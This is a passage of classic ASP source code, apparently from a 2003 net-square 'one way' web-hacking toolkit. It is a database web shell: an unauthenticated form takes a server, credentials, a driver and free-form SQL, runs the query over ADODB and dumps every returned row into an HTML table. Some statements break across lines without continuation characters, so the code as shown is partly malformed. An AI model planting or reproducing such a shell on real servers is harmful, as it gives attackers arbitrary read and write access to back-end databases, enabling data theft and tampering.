  Response.write("<td colspan='3'>&nbsp;<input type='submit' value='Execute Query'></td>")
  Response.write("</tr>")
  Response.write("</table>")
  Response.write("</form>")

  Response.write("</td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td>")

  Response.write("<BR>")
  Response.write("<HR>")
  Response.write("<p>")
  Response.write("</p>")

  set objCon = server.createobject("ADODB.Connection")

  IF(strDSN = "") THEN
   IF(strCon = "") THEN
      IF(strDbsource = "Microsoft Access Driver (*.mdb)") THEN
          objCon.ConnectionString= "Driver=" + strDbsource + ";server=" + strServerName +
          ";uid=" + strUserName + ";pwd=" + strPassword + ";DBQ=" + strDatabaseName 
       ELSE
          objCon.ConnectionString= "Driver=" + strDbsource + ";server=" + strServerName +
          ";uid=" + strUserName + ";pwd=" + strPassword + ";database=" + strDatabaseName 
       END IF
   ELSE
    objCon.ConnectionString= strCon
   END IF
  ELSE
   IF(strCon = "") THEN
    objCon.ConnectionString= "Driver=" + strDbsource + ";DSN=" + strDSN + ";uid=" +
    strUserName + ";pwd=" + strPassword 
   ELSE
    objCon.ConnectionString= "DSN=" + strDSN + ";" + strCon 
   END IF  
  END IF

  objCon.Open

  Response.write("Database Connection Opened")
  Response.write("<p>")

  Set RS = objCon.Execute(strQuery)

  Select Case RS.eof
   Case False

    RSArray = RS.getrows

    Number_Of_Fields = Cdbl(UBound(RSArray, 1))
    Number_Of_Records = Cdbl(UBound(RSArray, 2))
    Response.Write "<table border=1 bordercolorlight='#000000' cellspacing='0'
                    cellpadding='0' bordercolordark='#C0C0C0'>"
    Response.Write "<tr>" 

    For A = 0 to Number_Of_Fields
     Response.Write "<td valign='middle' height='30' bgcolor='#000080'>" 
     Response.Write "<font color='#FFFFFF' face='Arial' size='3'><b>"
     Response.Write RS.Fields(A).Name
     Response.Write "</b></font>"  
     Response.Write "</td> "
    Next

    Response.Write "</tr>"

    For R = 0 to Number_Of_Records 
     Response.Write "<tr>" 
     For F = 0 to Number_Of_Fields
      Response.Write "<td><pre>" 
      Response.Write RSArray(F, R)
      Response.Write "</pre></td> "
     Next
     Response.Write "</tr>"
    Next
    Response.Write "</table>"
   Case True
    Response.Write "No Records were found"
  End Select 

  Response.write("</td>")
  Response.write("</tr>")

  Set RS = Nothing
  objCon.Close
  Response.write("<tr>")
  Response.write("<td>")
  Response.Write "Database Connection Closed"
  Response.write("</td>")
  Response.write("</tr>")
  Response.write("</table>")

 ELSE
%>
 <form action='#' method='POST'>
  <table align='left' border='0'>
   <tr>
    <td valign='top' align='right'><b><font face='Arial' size='2'>
    Server Name:</font></b></td>
    <td><font face='Courier New'><input type='Text' name='ServerName' size='30'>
    </font></td>
    <td align='right'><b><font face='Arial' size='2'>User Name:</font></b></td>
    <td><font face='Courier New'><input name='UserName'  size='14'></font></td>
   </tr>
   <tr>
    <td valign='top' align='right'><b><font face='Arial' size='2'>Database Name:
    </font></b></td>
    <td><font face='Courier New'><input name='DatabaseName' size='30'></font></td>
    <td align='right'><b><font face='Arial' size='2'>Password:</font></b></td>
    <td><font face='Courier New'><input name='Password' size='14'></font></td>
   </tr>
   <tr>
    <td valign='top' align='right'><b><font face='Arial' size='2'>
    Connection String:</font></b></td>
    <td ><input type='text' name='ConStr' size='30'></td>
   </tr>
   <tr>
    <td valign='top' align='right'><b><font face='Arial' size='2'>Driver:
    </font></b></td>
    <td>
     <select size='1' name='Dbsource'>
     <option>Oracle ODBC Driver</option>
     <option>Microsoft Access Driver (*.mdb)</option>
     <option>MySQL ODBC 3.51 Driver</option>
     <option selected>SQL Server</option>
     </select>
    </td>
   </tr>
   <tr>
    <td valign='top' align='right'><b><font face='Arial' size='2'>
    Query String:</font></b></td>
    <td colspan='3'><font face='Courier New'>
    <textarea rows='4' name='Query' cols='69'></textarea></font></td>
   </tr>
   <tr>
    <td><input type='HIDDEN' name='Message' value='true'></td>
   </tr>
   <tr>
    <td>
    <td colspan='3'>&nbsp;<input type='submit' value='Execute Query'></td>
   </tr>
  </table>
 </form>
<%END IF%>
</body>
</html>

N    one way © 2003 net-square